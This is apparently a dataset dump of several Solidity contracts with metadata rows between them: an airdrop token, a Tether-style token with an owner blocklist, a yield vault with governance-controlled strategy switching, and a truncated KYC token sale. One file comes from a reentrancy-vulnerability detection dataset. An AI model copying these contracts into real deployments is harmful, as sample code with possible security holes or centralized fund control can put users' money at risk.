Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 252,635 | 12,444 |
77f95b5a63e55408f4f04739f1ab8735ed012d0bd748283cbb121898b531cf41
| 42,223 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6e/6e7b12c0d499D23932eAb0f36cF38d6Bb41069E4_TetherToken.sol
| 4,823 | 19,115 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library ECDSAUpgradeable {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
interface IERC20PermitUpgradeable {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
library CountersUpgradeable {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
contract WithBlockedList is OwnableUpgradeable {
modifier onlyNotBlocked() {
require(!isBlocked[_msgSender()], "Blocked: transfers are blocked for user");
_;
}
mapping (address => bool) public isBlocked;
function addToBlockedList (address _user) public onlyOwner {
isBlocked[_user] = true;
emit BlockPlaced(_user);
}
function removeFromBlockedList (address _user) public onlyOwner {
isBlocked[_user] = false;
emit BlockReleased(_user);
}
event BlockPlaced(address indexed _user);
event BlockReleased(address indexed _user);
}
contract TetherToken is Initializable, ERC20PermitUpgradeable, OwnableUpgradeable, WithBlockedList {
mapping(address => bool) public isTrusted;
uint8 private tetherDecimals;
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals) public initializer {
tetherDecimals = _decimals;
__Ownable_init();
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
}
function decimals() public view virtual override returns (uint8) {
return tetherDecimals;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
if (isTrusted[_spender]) {
return 2**256 - 1;
}
return super.allowance(_owner, _spender);
}
function transfer(address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
return super.transfer(_recipient, _amount);
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
require(!isBlocked[_sender]);
if (isTrusted[_recipient]) {
_transfer(_sender, _recipient, _amount);
return true;
}
return super.transferFrom(_sender, _recipient, _amount);
}
function multiTransfer(address[] memory _recipients, uint256[] memory _values) public onlyNotBlocked {
require(_recipients.length == _values.length , "ERC20: multiTransfer mismatch");
for (uint256 i = 0; i < _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
}
function addPrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = true;
emit NewPrivilegedContract(_trustedDeFiContract);
}
function removePrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = false;
emit RemovedPrivilegedContract(_trustedDeFiContract);
}
function mint(address _destination, uint256 _amount) public onlyOwner {
_mint(_destination, _amount);
emit Mint(_destination, _amount);
}
function redeem(uint256 _amount) public onlyOwner {
_burn(owner(), _amount);
emit Redeem(_amount);
}
function destroyBlockedFunds (address _blockedUser) public onlyOwner {
require(isBlocked[_blockedUser]);
uint blockedFunds = balanceOf(_blockedUser);
_burn(_blockedUser, blockedFunds);
emit DestroyedBlockedFunds(_blockedUser, blockedFunds);
}
event NewPrivilegedContract(address indexed _contract);
event RemovedPrivilegedContract(address indexed _contract);
event Mint(address indexed _destination, uint _amount);
event Redeem(uint _amount);
event DestroyedBlockedFunds(address indexed _blockedUser, uint _balance);
}
| 123,548 | 12,445 |
8e4fa950903c7fdacf9c78111b925822e5a348cd93e37ee14b230ba367de8905
| 34,924 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x302FACf87Aa3702799cAac55b19b651d52ab03E1/contract.sol
| 3,712 | 14,918 |
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Strategy {
function ltoken() external view returns (address);
function deposit() external;
function withdraw(uint256) external;
function balanceOf() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract LFIVault is ERC20 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
address public strategy;
address public governance;
constructor (address _token, address _gov) public ERC20(string(abi.encodePacked("Lended ", ERC20(_token).name())),
string(abi.encodePacked("L", ERC20(_token).symbol()))) {
token = IERC20(_token);
governance = _gov;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Strategy(strategy).balanceOf());
}
function strategyBalance() public view returns (uint) {
return Strategy(strategy).balanceOf();
}
function available() public view returns (uint) {
return token.balanceOf(address(this));
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
earn();
}
function earn() public {
uint _bal = available();
token.safeTransfer(strategy, _bal);
Strategy(strategy).deposit();
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdraw(uint _shares) public {
uint _withdraw = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
uint _before = token.balanceOf(address(this));
Strategy(strategy).withdraw(_withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(_before);
token.safeTransfer(msg.sender, _diff);
}
// Set strategy address by the governance address.
function setStrategy(address _str) public {
require(msg.sender == governance, "governance: wut?");
strategy = _str;
}
// Update strategy address to new strategy.
function updateStrategy(address _str) public {
require(msg.sender == governance, "governance: wut?");
Strategy(strategy).withdraw(strategyBalance());
strategy = _str;
earn();
}
// Update governance address by the previous governance address.
function updateGovernance(address _gov) public {
require(msg.sender == governance, "governance: wut?");
governance = _gov;
}
}
| 253,434 | 12,446 |
65af0bd032d431852e03c1d8397f9b30b5f724ae695074bafe60c5dbc6e8f46e
| 17,137 |
.sol
|
Solidity
| false |
359775451
|
vntchain-bak/GGNNSmartVulDetector
|
d0317099a169bf0033a1f4bc43d1b5911e6ecb38
|
data/reentrancy/solidity_contract/4679.sol
| 4,535 | 16,293 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender == owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(address(0) != _newOwner, "address(0) != _newOwner");
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "msg.sender == newOwner");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
function burn(uint256 _value) public returns(bool);
uint256 public totalSupply;
uint256 public decimals;
}
contract AtomaxKycInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
function startTime() public view returns(uint256);
function endTime() public view returns(uint256);
function totalTokens() public view returns(uint256);
function remainingTokens() public view returns(uint256);
function price() public view returns(uint256);
}
contract AtomaxKyc {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (bytes32 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, bytes32 buyerId, uint maxAmount);
constructor() internal {
isKycSigner[0x9787295cdAb28b6640bc7e7db52b447B56b1b1f0] = true;
isKycSigner[0x3b3f379e49cD95937121567EE696dB6657861FB0] = true;
}
function releaseTokensTo(address buyer) internal returns(bool);
function buyTokensFor(address _buyerAddress, bytes32 _buyerId, uint _maxAmount, uint8 _v, bytes32 _r, bytes32 _s, uint8 _bv, bytes32 _br, bytes32 _bs) public payable returns (bool) {
bytes32 hash = hasher (_buyerAddress, _buyerId, _maxAmount);
address signer = ecrecover(hash, _bv, _br, _bs);
require (signer == _buyerAddress, "signer == _buyerAddress ");
return buyImplementation(_buyerAddress, _buyerId, _maxAmount, _v, _r, _s);
}
function buyTokens(bytes32 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) {
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount, uint8 _v, bytes32 _r, bytes32 _s) private returns (bool) {
bytes32 hash = hasher (_buyerAddress, _buyerId, _maxAmount);
address signer = ecrecover(hash, _v, _r, _s);
require(isKycSigner[signer], "isKycSigner[signer]");
uint256 totalPayed = alreadyPayed[_buyerId].add(msg.value);
